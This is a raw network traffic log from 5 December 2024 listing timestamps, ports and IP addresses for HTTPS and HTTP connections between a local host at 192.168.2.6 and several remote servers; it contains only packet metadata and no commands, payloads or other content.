Dec 5, 2024 14:01:49.915357113 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.915410042 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.915469885 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.916027069 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.916042089 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.981837034 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:49.981946945 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.000062943 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.000175953 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.008167982 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.033895016 CET	80	49815	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:50.035233021 CET	49815	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:50.053632021 CET	49815	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:50.071055889 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.095760107 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.095765114 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.103558064 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.103564024 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.173429012 CET	80	49815	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:50.443336010 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.443401098 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.443449974 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.443655014 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.443666935 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.443679094 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.443685055 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.446997881 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.447029114 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.447086096 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.447252989 CET	49817	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.447268009 CET	443	49817	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.533330917 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.533837080 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.533854008 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.534401894 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.534405947 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.552261114 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.552793026 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.552851915 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.553261995 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.553267956 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.554189920 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.554204941 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.554514885 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.554563046 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.554760933 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.555227995 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.555243969 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.555748940 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.555793047 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.584947109 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.592761993 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.592776060 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.593059063 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.593106031 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.594212055 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.594233036 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.594415903 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.594517946 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.594562054 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.594841003 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.595326900 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.627332926 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.635333061 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.639334917 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.920481920 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.920511007 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.920525074 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.920547009 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.920588970 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.920605898 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.920654058 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.958508015 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.958530903 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.958545923 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.958575010 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.958591938 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.958609104 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.958653927 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.972060919 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.972086906 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.972101927 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.972115040 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.972125053 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:50.972147942 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.972189903 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:50.977061987 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.977130890 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.977189064 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.977456093 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.977473974 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.977484941 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.977489948 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.980483055 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.980514050 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.980567932 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.980776072 CET	49818	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.980786085 CET	443	49818	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.986921072 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.986977100 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.987025023 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.987205029 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.987221956 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.987236023 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.987241030 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.989842892 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.989857912 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:50.989924908 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.990058899 CET	49819	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:50.990071058 CET	443	49819	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.052047968 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.052071095 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.052086115 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.052113056 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.052148104 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.052154064 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.052196026 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.087018013 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.088519096 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.088526964 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.089449883 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.089456081 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.099797010 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.099822044 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.099863052 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.099872112 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.099920988 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.138293982 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.138319016 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.138364077 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.138380051 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.138411999 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.138433933 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.143985033 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.144006014 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.144053936 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.144078016 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.144094944 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.144109011 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.153245926 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.153271914 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.153326035 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.153341055 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.153366089 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.153434992 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.184051037 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.184077024 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.184129953 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.184145927 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.184175014 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.184195995 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.206197023 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.206231117 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.206283092 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.206294060 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.206327915 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.206362009 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.229947090 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.229973078 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.230025053 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.230057001 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.230071068 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.230113983 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.249475956 CET	80	49815	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:51.251585007 CET	49820	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:51.251620054 CET	443	49820	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:51.251694918 CET	49820	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:51.252124071 CET	49820	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:51.252140045 CET	443	49820	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:51.267575979 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.267605066 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.267690897 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.267723083 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.267766953 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.274188042 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.274207115 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.274252892 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.274265051 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.274302959 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.274327993 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.294527054 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.294544935 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.294686079 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.294697046 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.294828892 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.308680058 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.308713913 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.308845043 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.308845043 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.308862925 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.309012890 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.319051027 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.319089890 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.319511890 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.319520950 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.319869041 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.326555967 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.326579094 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.326927900 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.326937914 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.327430964 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.336343050 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.336363077 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.336474895 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.336483955 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.336607933 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.357985020 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.358009100 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.358252048 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.358270884 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.358350992 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.365257978 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.365282059 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.365498066 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.365525007 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.365694046 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.367922068 CET	49815	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:51.377579927 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.377612114 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.377754927 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.377767086 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.377935886 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.395411968 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.395451069 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.395489931 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.395520926 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.395559072 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.395572901 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.395668983 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.395687103 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.395694971 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.395766973 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.422914982 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.422940016 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.423019886 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.423019886 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.423029900 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.423109055 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.430732012 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.430764914 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.430870056 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.430880070 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.430927038 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.431021929 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.447463036 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.447490931 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.447587013 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.447587013 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.447598934 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.447664976 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.450268030 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.450294971 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.450761080 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.450793982 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.450809002 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.450881958 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.450882912 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.450901031 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.450963974 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.451546907 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.451562881 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.463284969 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.463309050 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.463438034 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.463438034 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.463449001 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.463504076 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.470350027 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.470386028 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.470431089 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.470437050 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.470460892 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.470484018 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.489744902 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.489762068 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.489983082 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.489993095 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.490109921 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.502597094 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.502645016 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.502691031 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.502712965 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.502732992 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.502794027 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.506539106 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.506556988 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.506639004 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.506648064 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.506695032 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.515803099 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.515830994 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.515875101 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.515882969 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.515939951 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.515973091 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.520422935 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.520519018 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.520556927 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.520566940 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.520611048 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.521933079 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.522192001 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.522243977 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.523734093 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.525312901 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.525331974 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.525351048 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.525356054 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.525945902 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.525976896 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.526036024 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.526045084 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.526225090 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.529764891 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.529797077 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.529900074 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.530191898 CET	49822	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.530204058 CET	443	49822	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.531457901 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.531481981 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.531538010 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.531553030 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.531567097 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.531630039 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.543591022 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.543621063 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.543730021 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.543742895 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.543776035 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.543833971 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.543912888 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.543936968 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.544007063 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.544007063 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.544014931 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.544135094 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.546844006 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.546864033 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.546926975 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.546926975 CET	49809	443	192.168.2.6	150.171.28.10
